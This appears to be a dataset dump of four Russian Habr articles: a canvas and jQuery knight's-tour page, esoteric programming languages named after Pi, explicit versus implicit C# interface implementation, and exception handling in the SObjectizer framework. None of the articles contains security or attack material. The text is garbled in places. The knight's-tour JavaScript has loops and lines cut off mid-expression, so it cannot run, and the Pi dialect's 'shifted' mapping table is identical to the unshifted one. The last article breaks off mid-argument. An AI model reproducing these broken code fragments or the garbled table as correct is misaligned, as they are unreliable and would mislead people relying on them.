text
stringlengths 20
1.01M
| url
stringlengths 14
1.25k
| dump
stringlengths 9
15
⌀ | lang
stringclasses 4
values | source
stringclasses 4
values |
|---|---|---|---|---|
# Ход конем с использованием canvas
[Посмотреть](http://travel.h01sites.zzzing.ru/chess/).
Работая в одной из компаний, где мало понимают в программирование и сайтостроение, а основной список задач сводиться к тому, что необходимо залить новость на корпоративный сайт, мне иногда приходят от начальства списки интересных задач. Об эффективности и необходимости вносить их на сайт спорить бесполезно, с высоты высокого гнезда начальство не слышит доводы разума, приходиться браться за ненужные никому проекты и выполнять их.
Одно из такой задач стала — Ход конем. Суть ее в том, что необходимо найти маршрут шахматного коня, проходящего через все поля доски по одному разу. Реализовать задачу решил с использованием canvas, немного jQuery, с учетом в будущем сделать плагин.
Постараюсь описать все логику своих действий. По началу было много идей в голове, немного покопался в поисковиках и в который раз убедившись, что все же лучше написать самому, да и в целом будет полезно для развития и закрепления знаний, приступил к работе с мыслью, что главное начать, а там пойдет.
В общем сама html разметка довольна проста.
```
Ход конем
Updet!
Количество шагов: 1
Количество ошибок: 0
```
Стили тоже просты, единственное что стоить отметить — это картинка шахматной доски решил залить через background.
```
* {
margin: 0px;
padding: 0px;
}
body,
html {
height: 100%;
}
.chess {
margin: auto;
position: relative;
width: 600px;
height: 600px;
}
.chess canvas {
margin: 28px 0 0 58px;
background: url(../images/chess-block.png) no-repeat;
}
.kon {
position: absolute;
width: 52px;
height: 98px;
background: url(../images/kon.png) no-repeat;
}
```
Далее по коду уже только javaScript, создаем функцию инициализации init, которая будет создать объект canvas. Создаем 3 глобальных элемента (2 из которых массива), что в общем не очень хорошо, но все же реализация тестовая и главная работает. Значение которые принимает функция init есть начальный и затем последующий точки координат шахматного коня, х и у соответственно отвечают координатам по оси х и по оси x. При первом вызове они не определенны (undefined), поэтому приравниваем им начальные значения, в нашем случае это 60(x) и 480(y) что равно правому нижнему углу шахматной доски(A1).
Далее в массив arr вносим координаты текущего положения коня, это позволить нам запомнить все ходы коня, чтобы в будущем на них уже нельзя было ходить.
Далее создаем сам canvas, затем определяем потенциальные ходы, делаем это исходя из позиций коня на шахматной доске. Сама клетка ровна 60px, отсюда и выражения типа [x+60\*2, y+60], то есть на две клетки вверху и одну клетку в правый бок, как мы знаем, конь ходит буквой «Г». Все варианты записываем в массив v1, затем перебираем возможные варианты ходов и в каждой нашей потенциальной клетке создаем объект с помощью функций rect.
Благодаря все тоже же функции rect создаем объект в клетки где уже побывал конь.
```
var ctx; var arr=[];var v1=[]; var error=0;
function rect(color, x, y, width, height,opecity) {
this.color = color; // цвет прямоугольника
this.x = x; // координата х
this.y = y; // координата у
this.width = width; // ширина
this.height = height; // высота
this.draw = function() // Метод рисующий прямоугольник
{
ctx.beginPath();
ctx.globalAlpha = opecity;
ctx.fillStyle = this.color;
ctx.fillRect(this.x, this.y, this.width, this.height);
}
this.clear = function(){
ctx.clearRect(this.x, this.y, this.width, this.height);
}
}
function init(p,h){
(p===undefined) ? x=60 : x=p;
(h===undefined) ? y=480 : y=h;
//дефолтный 1 - вариант.
if (x < 60 ) x = 60;if (x > 480 ) x = 480;
if (y < 60 ) y = 60;if (y > 480 ) y = 480;
//запоминаем значение для ошибок
arr.push([x,y]);
//рисуем, сам канвас
var chess = document.getElementById("chess");
var width = chess.width = 600;
var height = chess.height = 600;
ctx = chess.getContext('2d');
ctx.clearRect(0,0,width,height);
//определяем потенциальные ходы (создаем массив элементов) всего 8 вариантов
v1 = [
[x+60*2, y+60],
[x+60*2, y-60],
[x+60, y+60*2],
[x-60, y+60*2],
[x+60, y-60*2],
[x-60, y-60*2],
[x-60*2, y-60],
[x-60*2, y+60]
];
// закрашиваем их
for(var v=0;v59 && v1[v][0]<481 && v1[v][1]>59 && v1[v][1]<481) {
var f = new rect('#ffe800',v1[v][0],v1[v][1],60,60,0.4);
f.draw();
}
}
//закрашиваем то, откуда пришел конь
for (var i=0;i
```
В самом конце мы вызываем функцию imkago(x,y), которая создает коня на шахматной доске. Она достаточно проста, создаем картинку и вставляем ее в canvas. Позиция коня принимается от функций инициализации init.
```
function imkago(x,y) {
var kon = new Image();
kon.src = 'images/kon.png';
kon.onload = function() {
ctx.beginPath();
ctx.globalAlpha = 1;
ctx.drawImage(kon, x+3, y-45);
}
}
```
Последнее что нужно было сделать, это дать возможность двигать коня, причем только по правилам шахмат, то есть буквой «Г», при этом запретить возможность ходить по клеткам, на которых уже побывал конь.
Сначала получаем позицию клика. Путем нехитрых математический действий получаем точные координаты на шахматной доске. (x = (Math.floor(x/60))\*60 и y = (Math.floor(y/60))\*60).
Затем сравниваем с помощью цикла for (var j=0;j
Последнее сравниваем полученные координаты при клике с массивом потенциальных ходов, если они совпадают, вызываем функцию init с новыми координатами для коня.
```
$('#chess').click(function(event){
var x = event.pageX - this.offsetLeft-$('.chess').offset().left;
var y = event.pageY - this.offsetTop;
x = (Math.floor(x/60))*60;
y = (Math.floor(y/60))*60;
//сравниваем, если нет совпадений. ничего не происходить, смотрим ошибки
for (var j=0;jКоличество шагов: "+arr.length+"Количество ошибок: "+error+"");
return false;
}
}
for(var v=0;vКоличество шагов: "+arr.length+"Количество ошибок: "+error+"");
})
```
Код javaScript полностью
**javaScript**
```
var ctx; var arr=[];var v1=[]; var error=0;
function rect(color, x, y, width, height,opecity) {
this.color = color; // цвет прямоугольника
this.x = x; // координата х
this.y = y; // координата у
this.width = width; // ширина
this.height = height; // высота
this.draw = function() // Метод рисующий прямоугольник
{
ctx.beginPath();
ctx.globalAlpha = opecity;
ctx.fillStyle = this.color;
ctx.fillRect(this.x, this.y, this.width, this.height);
}
this.clear = function(){
ctx.clearRect(this.x, this.y, this.width, this.height);
}
}
function init(p,h){
(p===undefined) ? x=60 : x=p;
(h===undefined) ? y=480 : y=h;
//дефолтный 1 - вариант.
if (x < 60 ) x = 60;if (x > 480 ) x = 480;
if (y < 60 ) y = 60;if (y > 480 ) y = 480;
//запоминаем значение для ошибок
arr.push([x,y]);
//рисуем, сам канвас
var chess = document.getElementById("chess");
var width = chess.width = 600;
var height = chess.height = 600;
ctx = chess.getContext('2d');
ctx.clearRect(0,0,width,height);
//определяем потенциальные ходы (создаем массив элементов) всего 8 вариантов
v1 = [
[x+60*2, y+60],
[x+60*2, y-60],
[x+60, y+60*2],
[x-60, y+60*2],
[x+60, y-60*2],
[x-60, y-60*2],
[x-60*2, y-60],
[x-60*2, y+60]
];
// закрашиваем их
for(var v=0;v59 && v1[v][0]<481 && v1[v][1]>59 && v1[v][1]<481) {
var f = new rect('#ffe800',v1[v][0],v1[v][1],60,60,0.4);
f.draw();
}
}
//закрашиваем то, куда ходили
for (var i=0;iКоличество шагов: "+arr.length+"Количество ошибок: "+error+"");
return false;
}
}
for(var v=0;vКоличество шагов: "+arr.length+"Количество ошибок: "+error+"");
})
```
В целом получилось не очень громоздко, но код далеко не идеален и не универсален. Больше подходить для понятия логики и основ программирование на javaScript. Надеюсь, статья будет кому-нибудь полезна, спасибо.
|
https://habr.com/ru/post/205894/
| null |
ru
| null |
# Пи в языках программирования
14 марта — всемирный день числа Пи. Придуманный в 1989 году и официально признанный в 2009, этот день отмечают многими способами, из которых самые популярные — поедание круглых пирогов и обсуждение вещей, связанных с числом Пи. Было бы странно, если бы не нашлось пары-тройки языков программирования, основанных на числе Пи или хотя бы названных в его честь. О них я и расскажу — надо же поддержать традицию :-)
##### 1. [Pi](http://progopedia.ru/dialect/pi/) — диалект [Brainfuck](http://progopedia.ru/language/brainfuck/)
У Brainfuck множество диалектов практически на все случаи жизни, диалект Pi среди них тоже есть. Команды языка записываются в число Пи в виде неправильных цифр в случайных разрядах следующим образом.
Для каждой команды выбирается разряд, в который она будет записана (разряды упорядочены так же, как команды в исходном коде). Берется таблица соответствия команд и цифр
`< > + — . , [ ]
0 1 2 3 4 5 6 7 8`
и в ней строка команд сдвигается на одну вправо, начиная с команды над цифрой, которая находится в выбранном разряде в правильном числе Пи. Например, если выбран второй разряд после десятичной точки, правильная цифра в нем — 4, и таблица соответствия принимает следующий вид:
`< > + — . , [ ]
0 1 2 3 4 5 6 7 8`
Теперь по нужной команде выбираем соответствующую ей цифру и заменяем на нее правильную в выбранном разряде. Результат записи программы — число, похожее на Пи, но местами отличающееся от него. Так, программа «Hello, World!», которая на Brainfuck записывается вот так:
`++++++[>++++++++++++<-]>.>++++++++++[>++++++++++<-]>+.+++++++..+++.>++++[>++++++
+++++<-]>.<+++[>----<-]>.<<<<<+++[>+++++<-]>.>>.+++.------.--------.>>+.`
на Pi запишется вот так:
`3.141592653589793238462623382272502824197169299275107820904924592337816406386238
99262833482534311206728234808621328230264709314460935058223872535941812844111745
00841022019385311055296426229289549302819244388109726652334471204756422337867231
65221231909345628566933460342610454226248213391607264249148273720587036656315582
17288153092396282225439171532436789559536003133023024882044652108412695192151163
94330573703656595909530921261173839326137921051125420742623799227495273538857227
24892227938133011749109833675362442656243086321294946795024737130702479860343702
77453921711629317375838467480846766440513202056822724526351082178577132275778260
91736271767204684409312229532301462492853110307922896892089235450199501120290219
65862034218129813624774731309964518707241349993993372978039951049734732816036348
59504445345544690330263252250825304468003522193158817101`
##### 2. [Another Pi Language](http://www.esolangs.org/wiki/Another_Pi_Language)
Необычный даже для эзотерических языков, этот язык существует только в виде теоретического описания. Идея языка основана на известной теории о том, что в числе Пи можно найти любую информацию, если подобрать правильную кодировку. В данном случае Пи записывается в двоичном представлении
`11.
00100100 00111111 01101010 10001000 10000101 10100011 00001000 11010011
00010011 00011001 10001010 00101110 00000011 01110000 01110011 01000100
10100100 00001001 00111000 00100010 00101001 10011111 00110001 11010000
00001000 00101110 11111010 10011000 11101100 01001110 01101100 10001001`
Исходный код программы на Another Pi Language представляет собой пару чисел: индекс бита, с которого следует начинать чтение, и количество байт, которые следует прочитать. Прочитанные байты переводятся в символы с соответствующими ASCII-кодами, и полученный текст интерпретируется как исходный код на каком-то другом языке (язык должен быть указан вместе с парой чисел).
Теоретически в числе Пи можно найти любую последовательность битов любой длины, то есть код любой, сколь угодно сложной программы. Этот язык даже будет Тьюринг-полным (поскольку на нем можно выполнить любое задание, которое можно выполнить на других языках). Другое дело, что по сложности программирования на нем он сможет поспорить с [Malbolge](http://ru.wikipedia.org/wiki/Malbolge). Впрочем, в отличие от Malbolge, «Hello, World!» на Another Pi Language пишется легко и изящно:
`3 1 HQ9+`
Для «интерпретации» этого кода:
* читаем 1 байт, начиная с 3-го бита записи. Первая единица считается нулевым байтом, поэтому начинаем со второго нуля после запятой: 01001000;
* переводим в десятичное число (72) и в символ с таким ASCII-кодом (H);
* интерпретируем полученный символ как код программы на [HQ9+](http://progopedia.ru/language/hq9-plus/) — а для этого замечательного языка это и есть команда вывода «Hello, World!» на печать. Удачно, правда?
Еще несколько примеров разной длины:
* канонический пример «99 бутылок пива»
`113 1 HQ9+ (9)`
* прочитать символ и вывести его же на печать
`102168614(+-1) 2 Brainfuck (,.)`
* бесконечный цикл
`3234901746(+-1) 3 Boolfuck (*[])`
(последние два примера найдены с помощью сервиса [Search Pi](http://pi.nersc.gov/))
##### 3. [Язык паттернов Pi](http://www.pi-programming.org/What.html)
Нечто среднее между инструментом разработки и философией создания новых языков программирования. Основан на идее расширяемости семантики и синтаксиса языков программирования средствами самих языков.
##### 4. Бонус :-)
Небольшой подарок ко дню Пи: [Pi Day Challenge 2011](http://pidaychallenge.com) — ежегодно обновляющаяся серия загадок, связанных с числом Пи.
|
https://habr.com/ru/post/115401/
| null |
ru
| null |
# Немного об интерфейсах в .Net (по мотивам одного интервью)
В прошедний понедельник мне посчастливилось попасть на собеседование на Senior .Net Developer в одну международную компанию. Во время собеседования мне предложили пройти тест, где ряд вопросов был связан с .Net. В частности в одном из вопросов надо было дать оценку (истина/ложь) ряду утверждений, среди которых было и такое:
> В .Net любой массив элементов, например int[], по умолчанию реализует IList, что позволяет использовать его в качестве коллекции в операторе foreach.
>
>
Быстро ответив на этот вопрос отрицательно и отдельно дописав на полях. что для foreach необходима реализация не IList, а IEnumerable, я перешел к следующему вопросу. Однако по дороге домой меня мучал вопрос: реализует ли массив все-таки этот интерфейс или нет?
Про IList я смутно помнил, что этот интерфейс дает мне IEnumerable, индексатор и свойство Count, содержащее число элементов коллекции, а также еще пару редко используемых свойств, типа IsFixedCollection(). Массив имеет свойство Length для своего размера, а Count в IEnumerable является методом расширения от LINQ, что было бы невозможно, если бы этот метод был реализован в классе. Таким образом, получалось, что массив не мог реализовывать интерфейс IList, однако какое-то смутное чувство не давало мне покоя. Поэтому вечером после интервью я решил провести небольшое исследование.
#### Класс System.Array
Поскольку Reflector.Net у меня не был установлен, я просто написал короткую программку на С# чтобы узнать, что за интерфейсы реализуются целочисленным массивом.
```
var v = new int[] { 1, 2, 3 };
var t = v.GetType();
var i = t.GetInterfaces();
foreach(var tp in i)
Console.WriteLine(tp.Name);
```
Вот полный список полученных интерфейсов из окна консоли:
```
ICloneable
IList
ICollection
IEnumerable
IStructuralComparable
IStructuralEquatable
IList`1
ICollection`1
IEnumerable`1
IReadOnlyList`1
IReadOnlyCollection`1
```
Таким образом, **массив в .Net все-таки реализует интерфейс IList и его обобщённый вариант IList<>**.
Чтобы получить более полную информацию я построил диаграмму класса System.Array.
Мне сразу бросилась в глаза моя ошибка: Count было свойством не IList, а ICollection, еще предыдущего интерфейса в цепочке наследования. Тем не менее, сам массив уже не имел такого свойства, как и многих других свойств интерфейса IList, хотя другие свойства этого интерфейса, IsFixedSize и IsReadOnly были реализованы. Как такое вообще возможно?
Всё сразу встает на свои места, когда вспоминаешь о том, что в С# можно реализовывать интерфейсы не только
неявно (implicit), но и явно (explicit). Я знал об этой возможности из учебников, где приводился пример такой имплементации в случае. когда базовый класс уже содержит метод с тем же именем, что и метод интерфейса. Я также видел такую возможность в ReSharper. Однако до настоящего времени мне напрямую не приходилось сталкиваться с необходимостью явной реализации интерфейсов в моих собственных проектах.
#### Сравнение явной и неявной реализации интерфейсов
Давайте сравним эти два вида реализации интерфейсов:.
| Критерии | Неявная (implicit) реализация | Явная (explicit) реализация |
| --- | --- | --- |
| Базовый синтаксис |
```
interface ITest
{
void DoTest();
}
public class ImplicitTest : ITest
{
public void DoTest()
{ }
}
```
|
```
interface ITest
{
void DoTest();
}
public class ExplicitTest : ITest
{
void ITest.DoTest()
{ }
}
```
|
| Видимость | Неявная имплементация всегда являелся открытой (public), поэтому к методам и свойствам можно обращаться напрямую.
```
var imp = new ImplicitTest();
imp.DoTest();
```
| Явная имплементация всегда закрыта (private).
Чтобы получить доступ к имплементации необходимо кастовать инстанцию класса к интерфейсу (upcast to interface).
```
var exp = new ExplicitTest();
((ITest)exp).DoTest();
```
|
| Полиморфия | Неявная имплементация интерфейса может быть виртуальной (virtual), что позволяет переписывать эту имплементацию в классах-потомках. | Явная имплементация всегда статична. Она не может быть переписана (override) или перекрыта (new) в классах-потомках. Прим. 1 |
| Абстрактный класс и реализация | Неявная реализация может быть абстрактной и реализовываться только в классе-потомке. | Явная реализация не может быть абстрактной, но сам класс может иметь другие абстрактные методы и сам быть абстрактным.Прим. 2 |
Примечания:
Прим. 1 — Как справедливо замечает [mayorovp](https://habrahabr.ru/users/mayorovp/) в комментариях, реализация может быть переопределена при повторной явной имплементации интерфейса в классе-потомке (см. первый комментарий к статье).
Прим. 2 — В [одном из блогов](http://www.dev102.com/2008/04/08/4-key-differences-between-implicit-and-explicit-interface-implementation/) указано, что класс сам не может быть абстрактным. Возможно это было верно для какой-то из предыдущих версий компилятора, в моих экспериментах я без проблем мог реализовать интерфейс явно в абстрактном классе.
#### Зачем нужна явная реализация интерфейсов
Явная реализация интерфейса, согласно [MSDN](http://msdn.microsoft.com/en-us/library/vstudio/ms173157.aspx), необходима в том случае, когда несколько интерфейсов, реализуемых классом, имеют метод с одинаковой сигнатурой. Эта проблема в общем виде известна в англоязычном мире под леденящим кровь названием [«deadly diamond of death»](http://en.wikipedia.org/wiki/Diamond_problem#The_diamond_problem), что переводится на русский как [«проблема ромба»](http://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D0%BC%D0%B1%D0%BE%D0%B2%D0%B8%D0%B4%D0%BD%D0%BE%D0%B5_%D0%BD%D0%B0%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5). Вот пример такой ситуации:
```
/* Listing 1 */
interface IJogger
{
void Run();
}
interface ISkier
{
void Run();
}
public class Athlete: ISkier, IJogger
{
public void Run()
{
Console.WriteLine("Am I an Athlete, Skier or Jogger?");
}
}
```
Кстати, этот пример является корректным кодом в C#, то есть он (корректно) компилируется и запускается, при этом метод Run() является одновременно и методом самого класса, и реализацией аж двух интерфейсов. Таким образом, мы можем иметь одну реализацию для разных интерфейсов и для самого класса. Проверить это можно следующим кодом:
```
/* Listing 2 */
var sp = new Athlete();
sp.Run();
(sp as ISkier).Run();
(sp as IJogger).Run();
```
Результатом исполнения этого кода будет *«Am I an Athlete, Skier or Jogger?»*, выведенное в консоли три раза.
Именно здесь мы можем использовать явную реализацию интерфейса для того, чтобы разделить все три случая:
```
/* Listing 3 */
public class Sportsman
{
public virtual void Run()
{
Console.WriteLine("I am a Sportsman");
}
}
public class Athlete: Sportsman, ISkier, IJogger
{
public override void Run()
{
Console.WriteLine("I am an Athlete");
}
void ISkier.Run()
{
Console.WriteLine("I am a Skier");
}
void IJogger.Run()
{
Console.WriteLine("I am a Jogger");
}
}
```
В данном случае при исполнении кода из Listing 2 мы увидим в консоли три строчки, *«I am an Athlete»*, *«I am a Skier»* и *«I am a Jogger»*.
#### Плюсы и минусы различной реализации интерфейсов
##### Видимость реализации и выборочная реализация
Как уже было показано выше, неявная (implicit) реализация синтаксически не отличается от обычного метода класса (причём если этот метод уже был определен в классе-предке, то в таком синтаксисе метод будет сокрыт (hidden) в потомке и код будет без проблем скомпилирован c compiler warning о сокрытии метода.). Более того, возможна выборочная реализация отдельных методов одного интерфейса как явным, так и неявным образом:
```
/* Listing 4 */
public class Code
{
public void Run()
{
Console.WriteLine("I am a class method");
}
}
interface ICommand
{
void Run();
void Execute();
}
public class CodeCommand : Code, ICommand
{
// implicit interface method implementation
// => public implementation
// implicit base class method hiding (warning here)
public void Run()
{
base.Run();
}
// explicit interface method implementation
// => private implementation
void ICommand.Execute()
{}
}
```
Это позволяет использовать реализации отдельных методов интерфейса как родных методов класса и они доступны, например, через IntelliSense, в отличие от явной реализации методов, которые являются приватными и видны только после каста к соответствующему интерфейсу.
С другой стороны, возможность приватной реализации методов позволяет скрывать ряд методов интерфейса, при этом полностью его имплементируя. Возвращаясь к нашему самому первому примеру с массивами в .Net, можно увидеть, что массив скрывает, например, имплементацию свойства Count интерфейса ICollection, выставляя наружу это свойство под именем Length (вероятно это является попыткой поддержания совместимости с С++ STL и Java). Таким образом, мы можем скрывать отдельные методы реализованного интерфейса и не скрывать (=делать публичными) другие.
Здесь, правда, возникает такая проблема, что во многих случаях совершенно невозможно догадаться о том, какие интерфейсы реализованы классом «неявно», поскольку ни методы, ни свойства этих интерфейсов не видны в IntelliSense (здесь также показателен пример с System.Array). Единственным способом выявления таких реализаций является использование рефлексии, например при помощи Object Browser в Visual Studio.
##### Рефакторинг интерфейсов
Так как неявная (публичная) имплементация интерфейса не отличается от реализации публичного метода класса, в случае рефакторинга интерфейса и удаления из него какого-либо публичного метода (например при объединении методов Run() и Execute() из вышепредставленного интерфейса ICommand в один метод Run()) во всех неявных реализациях останется метод с открытым доступом, который, очень вероятно, придётся поддерживать даже после рефакторинга, так как у данного публичного метода могут быть уже различные зависимости в других компонентах системы. В результате этого будет нарушаться принцип программирования «против интерфейсов, а не реализаций», так как зависимости будут уже между конкретными (и в разных классах, наверняка, разными) реализациями бывшего интерфейсного метода.
```
/* Listing 5 */
interface IFingers
{
void Thumb();
void IndexFinger();
// an obsolete interface method
// void MiddleFinger();
}
public class HumanPalm : IFingers
{
public void Thumb() {}
public void IndexFinger() {}
// here is a "dangling" public method
public void MiddleFinger() {}
}
public class AntropoidHand : IFingers
{
void IFingers.Thumb() {}
void IFingers.IndexFinger() {}
// here the compiler error
void IFingers.MiddleFinger() {}
}
```
В случае приватной реализации интерфейсов все классы с явной реализацией несуществующего более метода просто перестанут компилироваться, однако после удаления ставшей ненужной реализации (или ее рефакторинга в новый метод) у нас не будет «лишнего» публичного метода, не привязанного к какому-либо интерфейсу. Конечно, возможно потребуется рефакторинг зависимостей от самого интерфейса, но здесь, по крайней мере, не будет нарушения принципа «program to interfaces, not implementations».
Что касается свойств, то неявно реализованные свойства интерфейса (properties) позволяют обращаться к ним через методы-акцесоры (getter и setter) как извне, так и непосредственно из самого класса, что может привести к ненужным эффектам (например, к ненужной валидации данных при инициализации свойств).
```
/* Listing 6 */
interface IProperty
{
int Amount { get; set; }
}
public class ClassWithProperty : IProperty
{
// implicit implementation, public
public int Amount { get; set; }
public ClassWithProperty()
{
// internal invocation of the public setter
Amount = 1000;
}
}
public class ClassWithExplicitProperty : IProperty
{
// explicit implementation, private
int IProperty.Amount { get; set; }
public ClassWithExplicitProperty()
{
// internal invocation isn't possible
// compiler error here
Amount = 1000;
}
}
```
При явной имплементации свойств интерфейса эти свойства остаются приватными и для доступа приходится идти «длинным» путём и объявлять дополнительную закрытое поле, через которое и происходит инициализация. В результате это приводит к более чистому коду, когда методы доступа к свойству используются только для доступа извне.
##### Использования явной типизации локальных переменных и полей классов
В случае явной реализации интерфейсов нам приходится явным образом указывать, что мы работаем не экземпляром класса, а с экземпляром интерфейса. Таким образом, например, становится невозможным использование type inference и декларация локальных переменных в С# при помощи служебного слова var. Вместо этого нам приходится использовать явную декларацию с указанием типа интерфейса при объявлении локальных переменных, а также в сигнатуре методов и в полях класса.
Таким образом, мы с одной стороны как бы делаем код несколько менее гибким (например ReSharper по умолчанию всегда предлагает использовать декларацию с var если это возможно), но зато избегаем потенциальных проблем, связанных с привязкой к конкретной имплементации, по мере роста системы и объема её кода. Этот пункт может показаться многим спорным, но в случае, когда над проектом работает несколько человек, да еще в разных концах света, использования явной типизации может быть очень даже полезным, так как это повышает читабельность кода и уменьшает затраты на его поддержку.
**Источники по теме**При подготовке статьи использовалась информация из ряда сетевых источников, в частности из блогов ( [[1]](http://www.dev102.com/2008/04/08/4-key-differences-between-implicit-and-explicit-interface-implementation/), [[2]](http://www.shafqatahmed.com/2008/02/net-basics-expl.html), [[3]](http://munishbansal.wordpress.com/2008/10/06/implicit-versus-explicit-interface-implementation-c/) и [[4]](http://blogs.msdn.com/b/mhop/archive/2006/12/12/implicit-and-explicit-interface-implementations.aspx)), а также из [[5]](http://stackoverflow.com/questions/598714/implicit-vs-explicit-interface-implementation) и [[6]](http://stackoverflow.com/questions/598714/implicit-vs-explicit-interface-implementation) вопросов со StackOverflow, [очень интересной статьи](http://www.codeproject.com/Articles/392516/Why-I-use-explicit-interface-implementation-as-a-d#) на CodeProject и главы 13.5 книги Jeffrey Richter "[CLR via C#](http://my.safaribooksonline.com/book/programming/csharp/9780735640467/interfaces/implicit_and_explicit_interface_method_i)".
**Небольшой бонус: два вопроса на засыпку (для пытливых)**Эти вопросы не имеют прямого отношения к теме явной имплементации интерфейсов, но мне кажется, что здесь они могут быть кому-то интересны:
1. Если к Listing 2 приписать еще одну строчку
```
(sp as Sportsman).Run();
```
То что будет выведено в консоль?
2. Как при помощи минимального изменения в Listing 3 (замены одного ключевого слова другим) добиться вывода в консоль фразы *«I am a Sportsman»* в первом вопросе?
|
https://habr.com/ru/post/156037/
| null |
ru
| null |
# Нежная дружба агентов и исключений в SObjectizer
Рано или поздно в программе что-нибудь идет не так. Не открылся файл, не создалась рабочая нить, не выделилась память… И с этим нужно как-то жить. В небольшом однопоточном приложении довольно просто: можно прервать всю работу и рестартовать. Это один из факторов, благодаря которому Erlang снискал себе заслуженную популярность, ведь идеология [fail fast](https://en.wikipedia.org/wiki/Fail-fast) является одним из краеугольных камней Erlang-а с его легковесными процессами. Если же приложение большое, сложное и многопоточное, то не разумно рестартовать все приложение, если лишь одна из его нитей столкнулась с проблемами. Еще хуже в ситуации с реализациями Модели Акторов, в которых сотни тысяч акторов могут работать на десятках рабочих нитей. Проблема одного актора вряд ли должна сказываться на всех остальных акторах.
В данной статье мы расскажем, как мы подошли к обработке ошибок в своем [фреймворке SObjectizer](https://habrahabr.ru/post/304386/).
Исключениям – да, кодам возврата – нет!
=======================================
Когда SObjectizer-4 появился в 2002-ом году, мы сделали большую ошибку – предпочли использовать коды возврата исключениям. И весь последующий опыт разработки на SObjectizer-4 снова и снова убеждал в одной простой истине: если ошибка может быть прогнорирована разработчиком, то она будет им проигнорирована. Поэтому при создании SObjectizer-5 мы решили использовать исключения для информирования об ошибках.
Это был правильный выбор. В спорах «исключения против кодов возврата» до сих пор ломаются копья, но наш опыт показывает, что разработка только выигрывает, если нельзя случайно пропустить, например, ошибку подписки агента или регистрации кооперации агентов.
Итак, SObjectizer-5 выбрасывает исключение, если не может выполнить ту или иную операцию. Чаще всего эти операции выполняются уже зарегистрированными в SObjectizer-е агентами. Что же делать агенту, если он столкнулся с исключением?
Нормальный агент не должен выпускать исключения наружу!
=======================================================
Это главное правило, которое существует для агентов касательно исключений. Если агент при обработке своего события получает исключение (не важно, выбросил ли исключение SObjectizer или кто-то другой), то агент не должен выпускать это исключение наружу.
Объяснение простое. Агент в SObjectizer не владеет собственным рабочим контекстом. Грубо говоря, агент не владеет рабочей нитью, на которой он работает. Рабочий контекст предоставляется диспетчером, к которому привязан агент, на время обработки очередного события, а затем может быть предоставлен другому агенту. Когда некий агент выпускает исключение наружу, то это исключение попадет к диспечеру, выделившему рабочий контекст. Если приложение не хочет, чтобы диспетчер решал, убить ли приложение или позволить продолжить работу, то агентам этого приложения стоит самим озаботится обработкой исключений.
В идеальном случае это означает, что события агентов должны быть noexcept-методами. Но это в идеальном случае. Да и механизм noexcept в C++ – это вещь хорошая, но она лишь гарантирует, что исключение из noexcept-метода не прилетит. При этом вылететь-то оно может, компилятор же не бьет по рукам, если в noexcept-методах вызываются не-noexcept-методы. И если исключение таки вылетает, то приводит прямиком к std::terminate(). Что не всегда нас устраивает. Как же быть в том неидеальном мире, в котором мы живем?
SObjectizer-у можно подсказать, как реагировать на вылетевшее из агента исключение
==================================================================================
Так как shit таки happens время от времени, то даже когда мы беремся обеспечивать [no exception guarantee](http://www.stroustrup.com/except.pdf) для агентов, то можем ошибиться и исключение все-таки уйдет наружу. Его поймает диспетчер и будет решать, что же делать дальше.
Для этого диспетчер вызовет у проблемного агента виртуальный метод so\_exception\_reaction(). Этот метод должен возвращать одно из следующих значений:
* so\_5::abort\_on\_exception. Что приведет к вызову std::abort() и прерыванию работы всего приложения;
* so\_5::shutdown\_sobjectizer\_on\_exception. Это значение означает, что агент обеспечивает basic exception guarantee (т.е. отсутствие утечек ресурсов и/или порчи чего-либо), но продолжать дальше работу смысла нет. Поэтому агент переводится в специальное состояние, в котором агент не может обрабатывать никаких событий, а работа SObjectizer Environment завершается нормальным образом, без вызова std::abort(). При этом должным образом дерегистрируются все зарегистрированные кооперации, что дает возможность остальным агентам нормально завершить свою работу и почистить ресурсы. Отметим, что в приложении одновременно может работать несколько SObjectizer Environment. В случае shutdown\_sobjectizer\_on\_exception завершается работа только того SObjectizer Environment, в котором исключение было перехвачено;
* so\_5::deregister\_coop\_on\_exception. Это значение означает, что агент обеспечивает basic exception guarantee и приложение может продолжить свою работу без этого агента и его кооперации. Поэтому агент переводится в специальное состояние, а его кооперация обычным образом дерегистрируется (что дает возможность остальным агентам кооперации нормально завершить свою работу);
* so\_5::ignore\_exception. Это значение означает, что агент обеспечивает strong exception guarantee (т.е. нет утечек ресурсов и/или порчи чего-либо + агент остается в корректном состоянии) и может продолжать свою работу. Поэтому диспетчер просто игнорирует исключение, как будто его и не было.
Наличие такого варианта, как ignore\_exception может показаться странным после того, как было заявлено, что нормальные агенты не должны выпускать исключения наружу. Однако, на практике наличие такого значения удобно для агентов с очень простыми обработчиками событий. Например, агент получает сообщение типа M1 и преобразует его в сообщения типа M2. При преобразовании может возникнуть исключение, но оно мало на что влияет: состояние агента не нарушено, сообщение M2 потерялось, ну так сообщения могут теряться по тем или иным причинам. В таких случаях проще позволить исключениям вылетать из простых агентов дабы диспетчер проигнорировал их, нежели включать в каждый обработчик событий блок try-catch.
Таким образом, программист может сам решить, какой вариант лучше всего подходит для его агента, переопределить метод so\_exception\_reaction() и тем самым проинформировать SObjectizer о том, как быть после перехвата исключения:
```
using namespace so_5;
// Простой агент, который получает сообщение M1 из mbox-а src и преобразует его
// в сообщение M2 для mbox-а dest. Исключения, которые могут быть выпущены
// наружу, игнорируются.
class my_simple_message_translator final : public agent_t {
public :
my_simple_message_translator( context_t ctx, mbox_t src, mbox_t dest )
: agent_t( ctx ) {
so_subscribe( src ).event( [dest]( const M1 & msg ){ send< M2 >( dest, ... );} );
}
// Указываем SO-5, что исключения могут быть проигнорированы.
virtual exception_reaction_t so_exception_reaction() const override {
return ignore_exception;
}
};
```
Реакция на исключения на уровне кооперации
==========================================
Штатная реализация agent\_t::so\_exception\_reaction() дергает метод exception\_reaction() у кооперации, в которую входит агент. Т.е. по умолчанию агент наследует реакцию на исключение у своей кооперации. А эту реакцию можно задать при регистрации кооперации.
Например:
```
// Регистрируем кооперацию и указываем, что при вылете исключения
// из любого из агентов нужно дерегистрировать всю кооперацию.
env.introduce_coop( []( coop_t & coop ) {
coop.set_exception_reaction( deregister_coop_on_exception );
coop.make_agent< some_agent >(...);
...
} );
```
Таким образом, в SObjectizer реакцию на исключение можно задать на уровне агента, а если это не было сделано, то используется реакция на исключение, заданная для кооперации агента.
Но что происходит, если при создании кооперации метод set\_exception\_reaction() не вызывается (а в большинстве случаев он не вызывается)?
